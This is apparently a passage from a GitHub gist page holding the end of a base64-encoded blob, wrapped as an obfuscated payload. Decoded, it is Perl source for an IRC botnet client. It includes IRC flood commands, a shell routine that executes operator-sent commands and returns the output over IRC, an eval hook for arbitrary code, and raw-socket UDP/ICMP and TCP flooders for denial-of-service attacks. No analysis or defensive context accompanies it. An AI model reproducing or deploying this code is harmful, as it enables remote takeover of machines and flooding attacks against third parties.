Cn0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15jdGNwZmxvb2QgKC4qKS8pIHsNCiAgICBteSAkdGFyZ2V0ID0gIiQxIjsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSVJDRmxvb2RdIDksMUNUQ1AgRmxvb2Rpbmc6IDEyIi4kdGFyZ2V0LiIgIik7DQogICAgICAgIGZvciAoMS4uMTApIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJHRhcmdldC4iIDpcMDAxVkVSU0lPTlwwMDFcbiIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgIi4kdGFyZ2V0LiIgOlwwMDFQSU5HXDAwMVxuIik7DQogICAgICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15tc2dmbG9vZCAoLiopLykgew0KICAgIG15ICR0YXJnZXQgPSAiJDEiOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtJUkMgRmxvb2RdIDksMU1TRyBGbG9vZGluZzogMTIiLiR0YXJnZXQuIiAiKTsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgIi4kdGFyZ2V0LiIgOjAsMTUuLi4xLDE2Li4uMiwxMy4uLjMsMTIuLi40LDExLi4uNSwxMC4uLjYsOS4uLjcsOC4uLjgsNy4uLjksNi4uLi4wLDE1Li4uMSwxNi4uLjIsMTMuLi4zLDEyLi4uNCwxMS4uLjUsMTAuLi42LDkuLi43LDguLi44LDcuLi45LDYuLi4uMCwxNS4uLjEsMTYuLi4yLDEzLi4uMywxMi4uLjQsMTEuLi41LDEwLi4uNiw5Li4uNyw4Li4uOCw3Li4uOSw2Li4uLjAsMTUuLi4xLDE2Li4uMiwxMy4uLjMsMTIuLi40LDExLi4uNSwxMC4uLjYsOS4uLjcsOC4uLiIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMNCmlmICgkZnVuY2FyZyA9fiAvXm5vdGljZWZsb29kICguKikvKSB7DQogICAgbXkgJHRhcmdldCA9ICIkMSI7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0lSQyBGbG9vZF0gOSwxTk9USUNFIEZsb29kaW5nOiAxMiIuJHRhcmdldC4iICIpOw0KICAgICAgICBmb3IgKDEuLjIpew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIk5PVElDRSAiLiR0YXJnZXQuIiA6MCwxNS4uLjEsMTYuLi4yLDEzLi4uMywxMi4uLjQsMTEuLi41LDEwLi4uNiw5Li4uNyw4Li4uOCw3Li4uOSw2Li4uLjAsMTUuLi4xLDE2Li4uMiwxMy4uLjMsMTIuLi40LDExLi4uNSwxMC4uLjYsOS4uLjcsOC4uLjgsNy4uLjksNi4uLi4wLDE1Li4uMSwxNi4uLjIsMTMuLi4zLDEyLi4uNCwxMS4uLjUsMTAuLi42LDkuLi43LDguLi44LDcuLi45LDYuLi4uMCwxNS4uLjEsMTYuLi4yLDEzLi4uMywxMi4uLjQsMTEuLi41LDEwLi4uNiw5Li4uNyw4Li4uIik7DQogICAgICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjDQpzdWIgaXJjYXNlIHsNCm15ICgka2VtLCAkcHJpbnRsLCAkY2FzZSkgPSBAXzsNCiAgIGlmICgkY2FzZSA9fiAvXmpvaW4gKC4qKS8pIHsNCiAgICAgaigiJDEiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnBhcnQgKC4qKS8pIHsNCiAgICAgIHAoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15yZWpvaW5ccysoLiopLykgew0KICAgICAgbXkgJGNoYW4gPSAkMTsNCiAgICAgIGlmICgkY2hhbiA9fiAvXihcZCspICguKikvKSB7DQogICAgICAgIGZvciAobXkgJGNhID0gMTsgJGNhIDw9ICQxOyAkY2ErKyApIHsNCiAgICAgICAgICBwKCIkMiIpOw0KICAgICAgICAgIGooIiQyIik7DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7DQogICAgICAgICAgcCgiJGNoYW4iKTsNCiAgICAgICAgICBqKCIkY2hhbiIpOw0KICAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eb3AvKSB7DQogICAgICBvcCgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCAzKTsNCiAgICAgIG9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGVvcC8pIHsNCiAgICAgIGRlb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZW9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsNCiAgICAgIGRlb3AoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL152b2ljZS8pIHsNCiAgICAgIHZvaWNlKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAidm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDYpOw0KICAgICAgdm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15kZXZvaWNlLykgew0KICAgICAgZGV2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgImRldm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDgpOw0KICAgICAgZGV2b2ljZSgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm1zZ1xzKyhcUyspICguKikvKSB7DQogICAgICBtc2coIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15mbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykgew0KICAgICAgICBtc2coIiQyIiwgIiQzIik7DQogICAgICB9DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGN0Y3AoIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsNCiAgICAgICAgY3RjcCgiJDIiLCAiJDMiKTsNCiAgICAgIH0NCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmludml0ZVxzKyhcUyspICguKikvKSB7DQogICAgICBpbnZpdGUoIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15uZXdlcnZlclxzKyhcUyspXHMrKFxTKykvKSB7DQogICAgICAgY29uZWN0YXIoIiQyIiwgIiQxIiwgIjY2NjciKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm5pY2sgKC4qKS8pIHsNCiAgICAgIG5pY2soIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15yYXcgKC4qKS8pIHsNCiAgICAgIHNlbmRyYXcoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15ldmFsICguKikvKSB7DQogICAgICBldmFsICIkMSI7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15qb2luXHMrKFxTKylccysoXGQrKS8pIHsNCiAgICBzbGVlcCBpbnQocmFuZCgkMikpOw0KICAgIGooIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15wYXJ0XHMrKFxTKylccysoXGQrKS8pIHsNCiAgICBzbGVlcCBpbnQocmFuZCgkMikpOw0KICAgIHAoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15xdWl0Lykgew0KICAgICBxdWl0KCk7DQogICB9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHNoZWxsIHsNCm15ICRwcmludGw9JF9bMF07DQpteSAkY29tYW5kbz0kX1sxXTsNCmlmICgkY29tYW5kbyA9fiAvY2QgKC4qKS8pIHsNCiAgICAgICAgY2hkaXIoIiQxIikgfHwgbXNnKCIkcHJpbnRsIiwgIk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiKTsNCiAgICAgICAgcmV0dXJuOw0KfSBlbHNpZiAoJHBpZCA9IGZvcmspIHsNCiAgICAgICAgd2FpdHBpZCgkcGlkLCAwKTsNCn0gZWxzZSB7DQppZiAoZm9yaykgew0KICAgICAgICBleGl0Ow0KfSBlbHNlIHsNCm15IEByZXNwPWAkY29tYW5kbyAyPiYxIDM+JjFgOw0KbXkgJGM9MDsNCmZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgew0KICAkYysrOw0KICBjaG9wICRsaW5oYTsNCiAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOiRsaW5oYSIpOw0KICBpZiAoJGMgPT0gIiRsaW5hc19tYXgiKSB7DQogICAgJGM9MDsNCiAgICBzbGVlcCAkc2xlZXA7DQogIH0NCn0NCmV4aXQ7DQp9DQp9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHVkcGZsb29kZXIgew0KbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsNCm15ICRtc2cgPSAnQScgeCAkX1sxXTsNCm15ICRmdGltZSA9ICRfWzJdOw0KbXkgJGNwID0gMDsNCm15ICglcGFjb3Rlcyk7DQogICAgICAgICRwYWNvdGVze2ljbXB9ID0gJHBhY290ZXN7aWdtcH0gPSAkcGFjb3Rlc3t1ZHB9ID0gJHBhY290ZXN7b30gPSAkcGFjb3Rlc3t0Y3B9ID0gMDsNCiAgICAgICAgc29ja2V0KFNPQ0sxLCBQRl9JTkVULCBTT0NLX1JBVywgMikgb3IgJGNwKys7DQogICAgICAgIHNvY2tldChTT0NLMiwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpIG9yICRjcCsrOw0KICAgICAgICBzb2NrZXQoU09DSzMsIFBGX0lORVQsIFNPQ0tfUkFXLCAxKSBvciAkY3ArKzsNCiAgICAgICAgc29ja2V0KFNPQ0s0LCBQRl9JTkVULCBTT0NLX1JBVywgNikgb3IgJGNwKys7DQogICAgICAgIHJldHVybih1bmRlZikgaWYgJGNwID09IDQ7DQpteSAkaXRpbWUgPSB0aW1lOw0KbXkgKCRjdXJfdGltZSk7DQogICAgICAgIHdoaWxlICggMSApIHsNCmZvciAobXkgJHBvcnQgPSAxOw0KICAgICAgICAkcG9ydCA8PSA2NTAwMDsgJHBvcnQrKykgew0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KICAgICAgICBzZW5kKFNPQ0sxLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2lnbXB9Kys7DQogICAgICAgIHNlbmQoU09DSzIsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7dWRwfSsrOw0KICAgICAgICBzZW5kKFNPQ0szLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9Kys7DQogICAgICAgIHNlbmQoU09DSzQsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7dGNwfSsrOw0KZm9yIChteSAkcGMgPSAzOw0KICAgICAgICAkcGMgPD0gMjU1OyRwYysrKSB7DQpuZXh0IGlmICRwYyA9PSA2Ow0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KICAgICAgICBzb2NrZXQoU09DSzUsIFBGX0lORVQsIFNPQ0tfUkFXLCAkcGMpIG9yIG5leHQ7DQogICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7b30rKzsNCn0NCn0NCmxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsNCn0NCnJldHVybigkY3VyX3RpbWUsICVwYWNvdGVzKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQpzdWIgdGNwZmxvb2RlciB7DQpteSAkaXRpbWUgPSB0aW1lOw0KbXkgKCRjdXJfdGltZSk7DQpteSAoJGlhLCRwYSwkcHJvdG8sJGosJGwsJHQpOw0KICAgICAgICAkaWE9aW5ldF9hdG9uKCRfWzBdKTsNCiAgICAgICAgJHBhPXNvY2thZGRyX2luKCRfWzFdLCRpYSk7DQogICAgICAgICRmdGltZT0kX1syXTsNCiAgICAgICAgJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCiAgICAgICAgJGo9MDskbD0wOw0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0Kd2hpbGUgKCRsPDEwMDApew0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KICAgICAgICAkdD0iU09DSyRsIjsNCiAgICAgICAgc29ja2V0KCR0LFBGX0lORVQsU09DS19TVFJFQU0sJHByb3RvKTsNCiAgICAgICAgY29ubmVjdCgkdCwkcGEpfHwkai0tOw0KICAgICAgICAkaisrOyRsKys7DQp9DQogICAgICAgICRsPTA7DQp3aGlsZSAoJGw8MTAwMCl7DQogICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7DQpsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQogICAgICAgICR0PSJTT0NLJGwiOw0Kc2h1dGRvd24oJHQsMik7DQogICAgICAgICRsKys7DQp9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIG1zZyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiUFJJVk1TRyAkX1swXSA6JF9bMV0iKTsNCn0NCnN1YiBjdGNwIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJQUklWTVNHICRfWzBdIDpcMDAxJF9bMV1cMDAxIik7DQp9DQpzdWIgbm90aWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJOT1RJQ0UgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgb3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK28gJF9bMV0iKTsNCn0NCnN1YiBkZW9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1vICRfWzFdIik7DQp9DQpzdWIgdm9pY2Ugew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK3YgJF9bMV0iKTsNCn0NCnN1YiBkZXZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC12ICRfWzFdIik7DQp9DQpzdWIgaiB7ICZqb2luKEBfKTsgfQ0Kc3ViIGpvaW4gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoIkpPSU4gJF9bMF0iKTsNCn0NCnN1YiBwIHsgcGFydChAXyk7IH0NCnN1YiBwYXJ0IHtzZW5kcmF3KCJQQVJUICRfWzBdIik7fQ0Kc3ViIG5pY2sgew0KICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICBzZW5kcmF3KCJOSUNLICRfWzBdIik7DQp9DQpzdWIgcXVpdCB7DQogIHNlbmRyYXcoIlFVSVQgOiRfWzBdIik7DQogIGV4aXQ7DQp9DQpzdWIgbW9kbyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAkX1sxXSIpOw0KfQ0Kc3ViIG1vZGUgeyBtb2RvKEBfKTsgfQ0KDQpzdWIgaW52aXRlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJJTlZJVEUgJF9bMV0gJF9bMF0iKTsNCn0NCg0Kc3ViIHRvcGljbyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiVE9QSUMgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0NCg0Kc3ViIGF3YXkgew0KICBzZW5kcmF3KCJBV0FZICRfWzBdIik7DQp9DQpzdWIgYmFjayB7IGF3YXkoKTsgfQ0KDQp9DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIFsgRU9GIF0gIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMNCg==')); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment